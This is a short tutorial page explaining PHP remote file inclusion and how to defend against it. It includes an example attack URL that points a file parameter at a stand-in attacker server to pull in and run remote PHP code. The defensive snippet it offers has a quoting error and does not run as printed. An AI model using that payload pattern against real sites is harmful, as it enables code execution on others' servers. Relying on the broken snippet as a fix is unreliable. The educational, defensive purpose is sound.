PHP Remote File Inclusion

title: Remote File Inclusion

Remote File Inclusion

A vulnerability in the application caused by the programmer requiring a file input provided by the user and not sanitizing the input before accessing the requested file. This results in a file being pulled from a remote server and included where it should not of been.

Example remote file inclusion attacks

A website allows you to view PDFs as download.php?file=myfile.php, due to a lack of proper checking a malicious user is able to request a remote resource and include in the script. The URL could become download.php?file=http://myevilserver.gtld/evilcode.php this could then be outputted to the user or in severe cases run the actual PHP code on your server.

Defending your website from remote file inclusion attacks in PHP

The following PHP code will provide strong protection against a remote file inclusion attacks

<?php if(basename($_GET['file]) !== $_GET['file']) { die('INVALID FILE REQUESTED'); }
  • You can disable allow_url_fopen in your php.ini file as an added protection against remote file inclusion.

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